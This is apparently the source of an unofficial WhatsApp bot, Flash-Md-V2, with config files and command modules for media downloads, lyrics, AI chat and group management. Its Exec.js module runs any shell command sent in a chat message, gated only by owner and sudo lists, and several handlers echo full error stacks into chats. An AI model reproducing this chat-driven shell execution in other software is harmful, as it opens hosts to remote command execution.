├── Procfile ├── .env-sample ├── commands ├── index.js ├── Sudos.js ├── Exec.js ├── Gpt.js ├── Codes.js ├── Twitter.js ├── Sudo.js ├── Lyrics.js ├── Welcome.js ├── Alldl.js ├── SC.js ├── Vision.js ├── Gpp.js ├── Update.js ├── Host.js ├── Socials.js ├── Save.js ├── Uptime.js ├── Herokuu.js ├── Shazam.js ├── Alive.js ├── Sing.jss ├── Heroku.js ├── Menu.js ├── General.js ├── Play.js ├── User.js ├── Sports.js ├── Search.js ├── Fun.js ├── Fancy.js └── Convertor.js ├── flash.js ├── package.json ├── config.js ├── app.json ├── README.md └── france └── Trt.js /Procfile: -------------------------------------------------------------------------------- 1 | web: node index.js 2 | -------------------------------------------------------------------------------- /.env-sample: -------------------------------------------------------------------------------- 1 | SESSION= 2 | PREFIX= 3 | YOUR_NUMBER= 4 | MODE= 5 | WARNINGS= 6 | YOUR_NAME= 7 | ANTICALL= 8 | ANTIDELETE= 9 | AUTO_REACTION= 10 | AUTO_READ_STATUS= 11 | AUTO_LIKE= 12 | AUTO_READ_DM= 13 | HEROKU_API_KEY= 14 | HEROKU_APP_NAME= 15 | PRESENCE_DM= 16 | PRESENCE_GROUP= 17 | YOUR_LID= 18 | timezone= 19 | ALIVE_URL= 20 | -------------------------------------------------------------------------------- /commands/index.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const path = require('path'); 3 | 4 | const commandFiles = fs.readdirSync(__dirname) 5 | .filter(file => file.endsWith('.js') && file !== 'index.js'); 6 | 7 | const commands = commandFiles.flatMap(file => require(path.join(__dirname, file))); 8 | 9 | module.exports = commands; 10 | -------------------------------------------------------------------------------- /flash.js: -------------------------------------------------------------------------------- 1 | require('dotenv').config(); 2 | const axios = require('axios'); 3 | 4 | function keepAlive() { 5 | const url = process.env.ALIVE_URL; 6 | 7 | if (!url) { 8 | console.error('ALIVE_URL not set in environment variables.'); 9 | return; 10 | } 11 | 12 | setInterval(() => { 13 | axios.get(url) 14 | .then(() => console.log(`Pinged ${url}`)) 15 | .catch(err => console.error('Keep-alive failed:', err.message)); 16 | }, 1000 * 60 * 14); 17 | } 18 | 19 | keepAlive(); 20 | -------------------------------------------------------------------------------- /commands/Sudos.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | name: 'sudos', 3 | description: 'View all users with sudo access.', 4 | category: 'Owner', 5 | ownerOnly: true, 6 | 7 | async execute(king, msg) { 8 | const fromJid = msg.key.remoteJid; 9 | const list = [...global.ALLOWED_USERS]; 10 | 11 | if (list.length === 0) { 12 | return king.sendMessage(fromJid, { 13 | text: '📭 No sudo users have been added yet.' 14 | }, { quoted: msg }); 15 | } 16 | 17 | const text = `👑 *Sudo Users List:*\n\n${list.map((n, i) => `${i + 1}. +${n}`).join('\n')}`; 18 | 19 | return king.sendMessage(fromJid, { 20 | text 21 | }, { quoted: msg }); 22 | } 23 | }; 24 | -------------------------------------------------------------------------------- /commands/Exec.js: -------------------------------------------------------------------------------- 1 | const { exec } = require('child_process'); 2 | const { franceking } = require('../main'); 3 | 4 | module.exports = [ 5 | { 6 | name: 'exec', 7 | get flashOnly() { 8 | return franceking(); 9 | }, 10 | description: 'Execute shell commands remotely. OWNER ONLY.', 11 | category: 'OWNER', 12 | ownerOnly: true, 13 | execute: async (king, msg, args) => { 14 | const fromJid = msg.key.remoteJid; 15 | if (!args.length) { 16 | return king.sendMessage(fromJid, { text: 'Usage: exec ' }, { quoted: msg }); 17 | } 18 | 19 | const command = args.join(' '); 20 | king.sendMessage(fromJid, { text: `⚡ Running command:\n${command}` }, { quoted: msg }); 21 | 22 | exec(command, { maxBuffer: 1024 * 1024 }, (error, stdout, stderr) => { 23 | if (error) { 24 | return king.sendMessage(fromJid, { text: `❌ Error:\n${error.message}` }, { quoted: msg }); 25 | } 26 | if (stderr) { 27 | king.sendMessage(fromJid, { text: `⚠️ Stderr:\n${stderr}` }, { quoted: msg }); 28 | } 29 | 30 | const output = stdout.length > 4000 ? stdout.slice(0, 4000) + '...' : stdout; 31 | king.sendMessage(fromJid, { text: `✅ Output:\n${output || 'No output.'}` }, { quoted: msg }); 32 | }); 33 | } 34 | } 35 | ]; 36 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | 3 | "name": "Flash-Md-V2", 4 | 5 | "version": "2.5", 6 | 7 | "main": "index.js", 8 | 9 | "type": "commonjs", 10 | 11 | "scripts": { 12 | 13 | "start": "node index.js" 14 | 15 | }, 16 | 17 | "dependencies": { 18 | 19 | "@hapi/boom": "^9.1.4", 20 | 21 | "@whiskeysockets/baileys": "7.0.0-rc.6", 22 | 23 | "dotenv": "^16.3.1", 24 | 25 | "@xaviabot/fb-downloader": "^1.0.14", 26 | 27 | "cheerio": "^1.0.0-rc.10", 28 | 29 | "express": "^4.19.2", 30 | 31 | "aptoide_scrapper_fixed": "1.0.2", 32 | 33 | "ffmpeg-static": "5.2.0", 34 | 35 | "heroku-client": "^3.1.0", 36 | 37 | "mumaker": "^2.0.0", 38 | 39 | "moment-timezone": "^0.5.43", 40 | 41 | "acrcloud": "^1.4.0", 42 | 43 | "performance-now": "^2.1.0", 44 | 45 | "pino": "^8.15.1", 46 | 47 | "axios": "^1.4.0", 48 | 49 | "fluent-ffmpeg": "^2.1.2", 50 | 51 | "fs-extra": "^11.1.1", 52 | 53 | "jimp": "1.6.0", 54 | 55 | "wa-sticker-formatter": "^4.4.4", 56 | 57 | "pg": "^8.11.2", 58 | 59 | "node-catbox": "^3.2.0", 60 | 61 | "g-i-s": "^2.1.7", 62 | 63 | "qs": "latest", 64 | 65 | "yt-search": "^2.10.4", 66 | 67 | "node-cron": "^3.0.3", 68 | 69 | "translatte": "^3.0.1", 70 | 71 | "pino-pretty": "^10.0.0", 72 | 73 | "api-dylux": "^1.1.9", 74 | 75 | "file-type": "21.0.0" 76 | 77 | } 78 | 79 | } 80 | 81 | -------------------------------------------------------------------------------- /config.js: -------------------------------------------------------------------------------- 1 | require('dotenv').config(); 2 | 3 | function mapPresence(val) { 4 | const mapping = { 5 | typing: 'composing', 6 | online: 'available', 7 | recording: 'recording', 8 | paused: 'paused', 9 | offline: 'unavailable' 10 | }; 11 | return mapping[val?.toLowerCase()?.trim()] || 'paused'; 12 | } 13 | 14 | module.exports = { 15 | prefixes: process.env.PREFIX 16 | ? process.env.PREFIX.split(',').map(p => p.trim()) 17 | : [''], 18 | 19 | NUMBER: process.env.YOUR_NUMBER || '254742063632', 20 | MODE: (process.env.MODE || 'private').toLowerCase().trim(), 21 | WARN_LIMIT: process.env.WARNINGS || '3', 22 | ON: process.env.YOUR_NAME || 'FLASH-MD', 23 | ANTICALL: process.env.ANTICALL || 'on', 24 | ADM: process.env.ANTIDELETE || 'on', 25 | AR: process.env.AUTO_REACTION || 'off', 26 | 27 | AUTO_VIEW_STATUS: process.env.AUTO_READ_STATUS === 'on', 28 | AUTO_LIKE: process.env.AUTO_LIKE === 'on', 29 | AUTO_READ_MESSAGES: process.env.AUTO_READ_DM === 'on', 30 | HEROKU_API_KEY: process.env.HEROKU_API_KEY, 31 | HEROKU_APP_NAME: process.env.HEROKU_APP_NAME, 32 | sessionBase64: process.env.SESSION || '', 33 | timezone: 'Africa/Nairobi', 34 | 35 | USER_LID: process.env.YOUR_LID, 36 | 37 | PRESENCE_DM: mapPresence(process.env.PRESENCE_DM || 'typing'), 38 | PRESENCE_GROUP: mapPresence(process.env.PRESENCE_GROUP || 'recording'), 39 | 40 | mapPresence 41 | }; 42 | -------------------------------------------------------------------------------- /commands/Gpt.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | const { xenc01 } = require('../france/Answers'); 3 | 4 | module.exports = { 5 | name: 'gpt', 6 | aliases: ['ask', 'chat'], 7 | description: 'Chat with GPT model using text prompts.', 8 | category: 'AI', 9 | 10 | get flashOnly() { 11 | return franceking(); // Same gating logic 12 | }, 13 | 14 | execute: async (king, msg, args, fromJid) => { 15 | const prompt = args.join(' ').trim(); 16 | 17 | if (!prompt) { 18 | return king.sendMessage(fromJid, { 19 | text: '💬 *Please provide a prompt to send to GPT.*\n\nExample:\n`!gpt What is quantum computing?`' 20 | }, { quoted: msg }); 21 | } 22 | 23 | try { 24 | const result = await xenc01(prompt); 25 | const responseText = result.response || '⚠️ No response from GPT.'; 26 | 27 | await king.sendMessage(fromJid, { 28 | text: `🤖 *GPT Response:*\n\n${responseText}` 29 | }, { quoted: msg }); 30 | 31 | } catch (err) { 32 | const status = err.response?.status; 33 | const errorData = err.response?.data; 34 | const message = err.message; 35 | const stack = err.stack; 36 | 37 | const errorMsg = [ 38 | '*❌ Error calling GPT:*', 39 | status ? `*Status:* ${status}` : '', 40 | message ? `*Message:* ${message}` : '', 41 | errorData ? `*Data:* ${JSON.stringify(errorData, null, 2)}` : '', 42 | stack ? `*Stack:* ${stack}` : '' 43 | ].filter(Boolean).join('\n\n'); 44 | 45 | const trimmedError = errorMsg.length > 4000 ? errorMsg.slice(0, 4000) + '…' : errorMsg; 46 | 47 | await king.sendMessage(fromJid, { 48 | text: trimmedError 49 | }, { quoted: msg }); 50 | } 51 | } 52 | }; 53 | -------------------------------------------------------------------------------- /commands/Codes.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const path = require('path'); 3 | const { franceking } = require('../main'); 4 | 5 | module.exports = [ 6 | { 7 | name: 'cmd', 8 | aliases: ['getcode'], 9 | get flashOnly() { 10 | return franceking(); 11 | }, 12 | description: 'Sends the JavaScript file where a command is defined.', 13 | category: 'User', 14 | ownerOnly: true, 15 | execute: async (king, msg, args) => { 16 | const fromJid = msg.key.remoteJid; 17 | const commandName = args[0]; 18 | 19 | if (!commandName) { 20 | return king.sendMessage(fromJid, { text: '❗ Usage: cmd ' }, { quoted: msg }); 21 | } 22 | 23 | const commandsDir = __dirname; 24 | const files = fs.readdirSync(commandsDir).filter(file => file.endsWith('.js')); 25 | let foundFile = null; 26 | 27 | for (const file of files) { 28 | const filePath = path.join(commandsDir, file); 29 | const fileContent = fs.readFileSync(filePath, 'utf-8'); 30 | 31 | 32 | const regex = new RegExp(`name\\s*:\\s*['"\`]${commandName}['"\`]`, 'i'); 33 | if (regex.test(fileContent)) { 34 | foundFile = filePath; 35 | break; 36 | } 37 | } 38 | 39 | if (!foundFile) { 40 | return king.sendMessage(fromJid, { text: `❌ Command *${commandName}* not found.` }, { quoted: msg }); 41 | } 42 | 43 | 44 | try { 45 | await king.sendMessage(fromJid, { 46 | document: fs.readFileSync(foundFile), 47 | fileName: path.basename(foundFile), 48 | mimetype: 'application/javascript' 49 | }, { quoted: msg }); 50 | } catch (err) { 51 | await king.sendMessage(fromJid, { text: `❌ Error: ${err.message}` }, { quoted: msg }); 52 | } 53 | } 54 | } 55 | ]; 56 | -------------------------------------------------------------------------------- /commands/Twitter.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | const { downloadFromSSSTwitter } = require('../france/x'); 3 | const axios = require('axios'); 4 | 5 | module.exports = { 6 | name: 'twitter', 7 | aliases: ['tw', 'twdl'], 8 | description: 'Download and send Twitter videos directly.', 9 | category: 'Download', 10 | 11 | get flashOnly() { 12 | return franceking(); 13 | }, 14 | 15 | execute: async (king, msg, args, fromJid) => { 16 | const url = args[0]; 17 | 18 | if (!url || !url.startsWith('https://twitter.com/')) { 19 | return king.sendMessage(fromJid, { 20 | text: '🔗 *Please provide a valid Twitter video link.*\n\nExample:\n`!twitter https://twitter.com/username/status/1234567890`' 21 | }, { quoted: msg }); 22 | } 23 | 24 | try { 25 | const result = await downloadFromSSSTwitter(url); 26 | const videoUrl = result.mp4high || result.mp4mid || result.mp4low; 27 | 28 | if (!videoUrl) { 29 | return king.sendMessage(fromJid, { 30 | text: '⚠️ No downloadable video link was found.' 31 | }, { quoted: msg }); 32 | } 33 | 34 | // Download video as buffer 35 | const videoResponse = await axios.get(videoUrl, { 36 | responseType: 'arraybuffer', 37 | headers: { 38 | 'User-Agent': 'Mozilla/5.0' 39 | } 40 | }); 41 | 42 | const videoBuffer = Buffer.from(videoResponse.data); 43 | 44 | // Send video with caption 45 | await king.sendMessage(fromJid, { 46 | video: videoBuffer, 47 | caption: '✨ Downloaded by Flash-Md-V2' 48 | }, { quoted: msg }); 49 | 50 | } catch (err) { 51 | const message = err.message || 'Unknown error'; 52 | const stack = err.stack || ''; 53 | 54 | const errorMsg = [ 55 | '*❌ Failed to download Twitter video:*', 56 | `*Message:* ${message}`, 57 | `*Stack:* ${stack.slice(0, 1000)}` 58 | ].join('\n\n'); 59 | 60 | await king.sendMessage(fromJid, { 61 | text: errorMsg 62 | }, { quoted: msg }); 63 | } 64 | } 65 | }; 66 | -------------------------------------------------------------------------------- /commands/Sudo.js: -------------------------------------------------------------------------------- 1 | 2 | const { normalizeJid, getUserNumber, isGroupJid } = require('../utils/helpers'); 3 | const { saveSudoList } = require('../utils/sudoStore'); 4 | 5 | module.exports = { 6 | name: 'sudo', 7 | description: 'Add, remove, or list users with sudo access.', 8 | category: 'Owner', 9 | ownerOnly: true, 10 | 11 | async execute(king, msg, args) { 12 | const fromJid = msg.key.remoteJid; 13 | const commandType = args[0]?.toLowerCase(); 14 | 15 | if (commandType === 'list') { 16 | const list = [...global.ALLOWED_USERS]; 17 | if (list.length === 0) { 18 | return king.sendMessage(fromJid, { 19 | text: '📭 No sudo users have been added yet.' 20 | }, { quoted: msg }); 21 | } 22 | 23 | const text = `👑 *Sudo Users List:*\n\n${list.map((n, i) => `${i + 1}. +${n}`).join('\n')}`; 24 | return king.sendMessage(fromJid, { text }, { quoted: msg }); 25 | } 26 | 27 | const quoted = msg.message?.extendedTextMessage?.contextInfo?.participant || 28 | msg.message?.extendedTextMessage?.contextInfo?.remoteJid; 29 | 30 | if (!quoted) { 31 | return king.sendMessage(fromJid, { 32 | text: '❌ Reply to a user to add/remove them.\n\nUsage:\n- sudo add\n- sudo del\n- sudo list' 33 | }, { quoted: msg }); 34 | } 35 | 36 | const jid = normalizeJid(quoted); 37 | const number = jid.split('@')[0]; 38 | 39 | if (commandType === 'add') { 40 | global.ALLOWED_USERS.add(number); 41 | saveSudoList(global.ALLOWED_USERS); 42 | return king.sendMessage(fromJid, { 43 | text: `✅ Added +${number} to sudo users.` 44 | }, { quoted: msg }); 45 | } else if (commandType === 'del') { 46 | global.ALLOWED_USERS.delete(number); 47 | saveSudoList(global.ALLOWED_USERS); 48 | return king.sendMessage(fromJid, { 49 | text: `❌ Removed +${number} from sudo users.` 50 | }, { quoted: msg }); 51 | } else { 52 | return king.sendMessage(fromJid, { 53 | text: 'Invalid usage.\n\nUsage:\n- sudo add\n- sudo del\n- sudo list' 54 | }, { quoted: msg }); 55 | } 56 | } 57 | }; 58 | -------------------------------------------------------------------------------- /commands/Lyrics.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const { franceking } = require('../main'); 3 | 4 | module.exports = { 5 | name: 'lyrics', 6 | description: 'Fetch and display lyrics of a song.', 7 | category: 'Search', 8 | get flashOnly() { 9 | return franceking(); 10 | }, 11 | execute: async (king, msg, args) => { 12 | const fromJid = msg.key.remoteJid; 13 | const query = args.join(' '); 14 | 15 | if (!query) { 16 | return king.sendMessage(fromJid, { 17 | text: 'Please provide a song name and artist...\nEg: lyrics not afraid Eminem' 18 | }, { quoted: msg }); 19 | } 20 | 21 | try { 22 | const apiURL = `https://lyricsapi.fly.dev/api/lyrics?q=${encodeURIComponent(query)}`; 23 | const res = await axios.get(apiURL); 24 | const data = res.data; 25 | 26 | if (!data.success || !data.result || !data.result.lyrics) { 27 | return king.sendMessage(fromJid, { 28 | text: 'Lyrics not found for the provided query.' 29 | }, { quoted: msg }); 30 | } 31 | 32 | const { title, artist, image, link, lyrics } = data.result; 33 | const shortLyrics = lyrics.length > 4096 ? lyrics.slice(0, 4093) + '...' : lyrics; 34 | 35 | const caption = 36 | `🎶 *FLASH-MD LYRICS!*\n\n` + 37 | `*Title:* ${title}\n` + 38 | `*Artist:* ${artist}\n` + 39 | `*Link:* ${link}\n\n` + 40 | `📜 *Lyrics:*\n\n` + 41 | `${shortLyrics}`; 42 | 43 | await king.sendMessage(fromJid, { 44 | image: { url: image }, 45 | caption, 46 | contextInfo: { 47 | forwardingScore: 1, 48 | isForwarded: true, 49 | forwardedNewsletterMessageInfo: { 50 | newsletterJid: '120363238139244263@newsletter', 51 | newsletterName: 'FLASH-MD', 52 | serverMessageId: -1 53 | } 54 | } 55 | }, { quoted: msg }); 56 | 57 | } catch (err) { 58 | console.error('[LYRICS ERROR]', err); 59 | await king.sendMessage(fromJid, { 60 | text: 'An error occurred while fetching lyrics. Please try again later.' 61 | }, { quoted: msg }); 62 | } 63 | } 64 | }; 65 | -------------------------------------------------------------------------------- /commands/Welcome.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | const db = require('../db'); 3 | 4 | module.exports = [ 5 | { 6 | name: 'welcome', 7 | get flashOnly() { 8 | return franceking(); 9 | }, 10 | description: 'Enable/disable welcome messages and set welcome text', 11 | category: 'Group', 12 | adminOnly: true, 13 | botAdminOnly: true, 14 | groupOnly: true, 15 | 16 | execute: async (king, msg, args) => { 17 | const fromJid = msg.key.remoteJid; 18 | const option = args[0]?.toLowerCase(); 19 | 20 | if (!option || !['on', 'off', 'message'].includes(option)) { 21 | return king.sendMessage(fromJid, { 22 | text: '❌ Usage:\n.welcome on - Enable welcome messages\n.welcome off - Disable welcome messages\n.welcome message - Set welcome message text\n\nUse placeholders: @user and @group' 23 | }, { quoted: msg }); 24 | } 25 | 26 | if (option === 'on' || option === 'off') { 27 | const enabled = option === 'on'; 28 | const oldConfig = await db.getGroupWelcome(fromJid); 29 | const message = oldConfig?.message || '👋 Hey @user welcome to @group!\n\n\n This Is a welcome message sent by Flash-Md-V2 via baileys'; 30 | await db.setGroupWelcome(fromJid, enabled, message); 31 | 32 | return king.sendMessage(fromJid, { 33 | text: `✅ Welcome messages *${enabled ? 'enabled' : 'disabled'}*` 34 | }, { quoted: msg }); 35 | } 36 | 37 | if (option === 'message') { 38 | const messageText = args.slice(1).join(' '); 39 | if (!messageText) { 40 | return king.sendMessage(fromJid, { 41 | text: '❌ Please provide the welcome message text after .welcome set\n\nPlaceholders: @user, @group' 42 | }, { quoted: msg }); 43 | } 44 | 45 | const oldConfig = await db.getGroupWelcome(fromJid); 46 | const enabled = oldConfig?.enabled || false; 47 | 48 | await db.setGroupWelcome(fromJid, enabled, messageText); 49 | 50 | return king.sendMessage(fromJid, { 51 | text: '✅ Welcome message updated successfully!' 52 | }, { quoted: msg }); 53 | } 54 | } 55 | } 56 | ]; 57 | -------------------------------------------------------------------------------- /commands/Alldl.js: -------------------------------------------------------------------------------- 1 | const axios = require('axios'); 2 | const { franceking } = require('../main'); 3 | 4 | const BASE_URL = 'https://www.noobs-api.rf.gd'; 5 | 6 | module.exports = { 7 | name: 'alldl', 8 | get flashOnly() { 9 | return franceking(); 10 | }, 11 | aliases: ['alldown', 'dl', 'download'], 12 | description: 'Download media from various social platforms.', 13 | category: 'Download', 14 | 15 | execute: async (king, msg, args, jid) => { 16 | if (!args || args.length === 0) { 17 | return await king.sendMessage(jid, { text: '🔗 *Please provide a URL to download from.*' }, { quoted: msg }); 18 | } 19 | 20 | const url = args.join(' '); 21 | 22 | try { 23 | const response = await axios.get(`${BASE_URL}/dipto/alldl?url=${encodeURIComponent(url)}`); 24 | const data = response.data; 25 | 26 | if (data.result) { 27 | const isImage = data.result.endsWith('.jpg') || data.result.endsWith('.png'); 28 | const caption = `*FLASH-MD V2*\n🔗 Downloaded from: ${url}`; 29 | 30 | const messageContent = { 31 | caption, 32 | contextInfo: { 33 | externalAdReply: { 34 | title: "FLASH-MD V2 - Media Downloader", 35 | body: "Fast & Reliable Downloader", 36 | mediaType: 1, 37 | thumbnailUrl: data.imageUrl || '', 38 | sourceUrl: url, 39 | renderLargerThumbnail: false, 40 | showAdAttribution: true 41 | } 42 | } 43 | }; 44 | 45 | if (isImage) { 46 | messageContent.image = { url: data.result }; 47 | } else { 48 | messageContent.video = { url: data.result }; 49 | } 50 | 51 | await king.sendMessage(jid, messageContent, { quoted: msg }); 52 | await king.sendMessage(jid, { text: '✅ *Download complete!*' }, { quoted: msg }); 53 | } else { 54 | await king.sendMessage(jid, { text: '❌ No media found or invalid URL.' }, { quoted: msg }); 55 | } 56 | } catch (error) { 57 | console.error('[ALLDL ERROR]', error); 58 | await king.sendMessage(jid, { text: '⚠️ An error occurred while processing your request.' }, { quoted: msg }); 59 | } 60 | } 61 | }; 62 | -------------------------------------------------------------------------------- /commands/SC.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | const axios = require('axios'); 3 | 4 | module.exports = { 5 | name: 'repo', 6 | get flashOnly() { 7 | return franceking(); 8 | }, 9 | aliases: ['sc', 'script'], 10 | description: 'Sends the official GitHub repository and stats for FLASH-MD-V2 WhatsApp bot', 11 | execute: async (sock, msg) => { 12 | const chatId = msg.key.remoteJid; 13 | const githubRepoUrl = 'https://api.github.com/repos/franceking1/Flash-Md-V2'; 14 | 15 | try { 16 | const response = await axios.get(githubRepoUrl); 17 | const data = response.data; 18 | 19 | const stars = data.stargazers_count.toLocaleString(); 20 | const forks = data.forks_count.toLocaleString(); 21 | const createdAt = new Date(data.created_at).toLocaleDateString('en-GB'); 22 | const lastUpdated = new Date(data.pushed_at).toLocaleDateString('en-GB'); 23 | 24 | const repoInfo = `*🤖 FLASH-MD-V2* 25 | 26 | A powerful, open-source WhatsApp bot built for speed, reliability, and ease of use. Designed to deliver blazing-fast responses and rich features for groups and individuals. 27 | 28 | *📂 GitHub Repository:* 29 | https://github.com/franceking1/Flash-Md-V2 30 | 31 | *⭐ Stars:* ${stars} 32 | *🍴 Forks:* ${forks} 33 | *📅 Created:* ${createdAt} 34 | *♻️ Last Updated:* ${lastUpdated} 35 | 36 | _Star ⭐ the repository if you like the bot and want to support future development!_`; 37 | 38 | await sock.sendMessage(chatId, { 39 | text: repoInfo, 40 | contextInfo: { 41 | forwardingScore: 1, 42 | isForwarded: true, 43 | forwardedNewsletterMessageInfo: { 44 | newsletterJid: '120363238139244263@newsletter', 45 | newsletterName: 'FLASH-MD', 46 | serverMessageId: -1 47 | } 48 | } 49 | }); 50 | } catch (error) { 51 | console.error('Error in github command:', error); 52 | await sock.sendMessage(chatId, { 53 | text: '❌ Error fetching repository information.' 54 | }); 55 | } 56 | } 57 | }; 58 | -------------------------------------------------------------------------------- /commands/Vision.js: -------------------------------------------------------------------------------- 1 | const { downloadMediaMessage } = require('@whiskeysockets/baileys'); 2 | const vertexAI = require('../france/Gemini'); 3 | const { franceking } = require('../main'); 4 | 5 | module.exports = { 6 | name: 'vision', 7 | aliases: ['describe', 'analyze'], 8 | description: 'Analyze and describe an image using Gemini AI.', 9 | category: 'AI', 10 | 11 | get flashOnly() { 12 | return franceking(); 13 | }, 14 | 15 | execute: async (king, msg, args, fromJid) => { 16 | const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; 17 | 18 | if (!quoted?.imageMessage) { 19 | return king.sendMessage(fromJid, { 20 | text: '🖼️ *Reply to an image to analyze it.*' 21 | }, { quoted: msg }); 22 | } 23 | 24 | try { 25 | const imageBuffer = await downloadMediaMessage( 26 | { message: { imageMessage: quoted.imageMessage } }, 27 | 'buffer', {}, { logger: console } 28 | ); 29 | 30 | const prompt = args.length ? args.join(' ') : 'Describe the image in detail.'; 31 | const ai = new vertexAI(); 32 | 33 | const result = await ai.chat(prompt, { 34 | model: 'gemini-2.5-flash', 35 | file_buffer: imageBuffer 36 | }); 37 | 38 | const description = result?.[0]?.content?.parts?.[0]?.text; 39 | 40 | if (!description) { 41 | return king.sendMessage(fromJid, { 42 | text: '⚠️ No response received from Gemini AI.' 43 | }, { quoted: msg }); 44 | } 45 | 46 | await king.sendMessage(fromJid, { 47 | text: `🧠 *Image Analysis Result:*\n\n${description}` 48 | }, { quoted: msg }); 49 | 50 | } catch (err) { 51 | const status = err.response?.status; 52 | const errorData = err.response?.data; 53 | const message = err.message; 54 | const stack = err.stack; 55 | 56 | const errorMsg = [ 57 | '*❌ Error analyzing image:*', 58 | status ? `*Status:* ${status}` : '', 59 | message ? `*Message:* ${message}` : '', 60 | errorData ? `*Data:* ${JSON.stringify(errorData, null, 2)}` : '', 61 | stack ? `*Stack:* ${stack}` : '' 62 | ].filter(Boolean).join('\n\n'); 63 | 64 | // Limit message to 4000 characters for WhatsApp safety 65 | const trimmedError = errorMsg.length > 4000 ? errorMsg.slice(0, 4000) + '…' : errorMsg; 66 | 67 | await king.sendMessage(fromJid, { 68 | text: trimmedError 69 | }, { quoted: msg }); 70 | } 71 | } 72 | }; 73 | -------------------------------------------------------------------------------- /commands/Gpp.js: -------------------------------------------------------------------------------- 1 | const { franceking } = require('../main'); 2 | const { S_WHATSAPP_NET, downloadContentFromMessage } = require('@whiskeysockets/baileys'); 3 | const fs = require("fs-extra"); 4 | const path = require("path"); 5 | const jimp = require("jimp"); 6 | 7 | const resizeImage = async (imagePath) => { 8 | const image = await jimp.read(imagePath); 9 | const resized = image.scaleToFit(720, 720); 10 | return { 11 | img: await resized.getBufferAsync(jimp.MIME_JPEG) 12 | }; 13 | }; 14 | 15 | async function getBuffer(message, type) { 16 | const stream = await downloadContentFromMessage(message, type); 17 | const chunks = []; 18 | for await (const chunk of stream) chunks.push(chunk); 19 | return Buffer.concat(chunks); 20 | } 21 | 22 | module.exports = [ 23 | { 24 | name: "fullgpp", 25 | description: "Set group profile picture without cropping or compression.", 26 | category: "Group", 27 | aliases: ["fullgp", "gpp"], 28 | groupOnly: true, 29 | adminOnly: true, 30 | botAdminOnly: true, 31 | get flashOnly() { 32 | return franceking(); 33 | }, 34 | 35 | execute: async (king, msg, args) => { 36 | const groupId = msg.key.remoteJid; 37 | const quoted = msg.message?.extendedTextMessage?.contextInfo?.quotedMessage; 38 | const quotedImage = quoted?.imageMessage; 39 | 40 | if (!quotedImage) { 41 | return king.sendMessage(groupId, { 42 | text: "📸 Please *reply to an image* to set it as the full group profile picture.", 43 | }, { quoted: msg }); 44 | } 45 | 46 | try { 47 | const buffer = await getBuffer(quotedImage, "image"); 48 | const mediaPath = path.join(__dirname, "..", "temp", `${Date.now()}-group.jpg`); 49 | fs.ensureDirSync(path.dirname(mediaPath)); 50 | fs.writeFileSync(mediaPath, buffer); 51 | 52 | const resized = await resizeImage(mediaPath); 53 | 54 | await king.query({ 55 | tag: "iq", 56 | attrs: { 57 | to: S_WHATSAPP_NET, 58 | target: groupId, 59 | type: "set", 60 | xmlns: "w:profile:picture" 61 | }, 62 | content: [{ 63 | tag: "picture", 64 | attrs: { type: "image" }, 65 | content: resized.img 66 | }] 67 | }); 68 | 69 | await king.sendMessage(groupId, { 70 | text: "✅ Group profile picture updated!", 71 | }, { quoted: msg }); 72 | 73 | fs.unlinkSync(mediaPath); 74 | 75 | } catch (err) { 76 | console.error("[FULLGPP ERROR]", err); 77 | await king.sendMessage(groupId, { 78 | text: "❌ Failed to set full group profile picture.", 79 | }, { quoted: msg }); 80 | } 81 | } 82 | } 83 | ]; 84 | -------------------------------------------------------------------------------- /app.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "FLASH-MD-V2.5", 3 | "description": "A WhatsApp bot powered by Baileys.", 4 | "repository": "https://github.com/franceking1/FLASH-MD-V2", 5 | "stack": "heroku-24", 6 | "scripts": { 7 | "postdeploy": "echo 'Deployment complete!'" 8 | }, 9 | "env": { 10 | "SESSION": { 11 | "description": "Flash MD session string (required for WhatsApp login)", 12 | "required": true 13 | }, 14 | "PREFIX": { 15 | "description": "Comma-separated list of command prefixes (e.g. !, /)", 16 | "required": false, 17 | "value": "!" 18 | }, 19 | "YOUR_NUMBER": { 20 | "description": "Your WhatsApp number in international format (e.g. 254742063632)", 21 | "required": false, 22 | "value": "254742063632" 23 | }, 24 | "MODE": { 25 | "description": "Bot mode: 'private' or 'public'", 26 | "required": false, 27 | "value": "public" 28 | }, 29 | "WARNINGS": { 30 | "description": "Number of warnings before action is taken", 31 | "required": false, 32 | "value": "3" 33 | }, 34 | "YOUR_NAME": { 35 | "description": "Your name or bot owner name", 36 | "required": false, 37 | "value": "FLASH-MD" 38 | }, 39 | "ANTICALL": { 40 | "description": "Block incoming calls (on/off)", 41 | "required": false, 42 | "value": "on" 43 | }, 44 | "ANTIDELETE": { 45 | "description": "Enable anti-delete for messages (on/off)", 46 | "required": false, 47 | "value": "on" 48 | }, 49 | "AUTO_REACTION": { 50 | "description": "Enable auto-reaction to messages (on/off)", 51 | "required": false, 52 | "value": "off" 53 | }, 54 | "AUTO_READ_STATUS": { 55 | "description": "Enable auto view of status updates (on/off)", 56 | "required": false, 57 | "value": "off" 58 | }, 59 | "AUTO_READ_DM": { 60 | "description": "Enable auto-read of direct messages (on/off)", 61 | "required": false, 62 | "value": "off" 63 | }, 64 | "YOUR_LID": { 65 | "description": "Your WhatsApp Lid (used for advanced features or admin control)", 66 | "required": false, 67 | "value": "" 68 | }, 69 | "HEROKU_API_KEY": { 70 | "description": "Your Heroku API key (for automatic restart or deploy)", 71 | "required": false 72 | }, 73 | "HEROKU_APP_NAME": { 74 | "description": "Your Heroku app name", 75 | "required": false 76 | }, 77 | "PRESENCE_DM": { 78 | "description": "Bot presence status in DMs (typing, online, recording, paused, offline)", 79 | "required": false, 80 | "value": "typing" 81 | }, 82 | "PRESENCE_GROUP": { 83 | "description": "Bot presence status in groups (typing, online, recording, paused, offline)", 84 | "required": false, 85 | "value": "recording" 86 | }, 87 | "timezone": { 88 | "description": "Timezone for scheduling or logging", 89 | "required": false, 90 | "value": "Africa/Nairobi" 91 | } 92 | }, 93 | 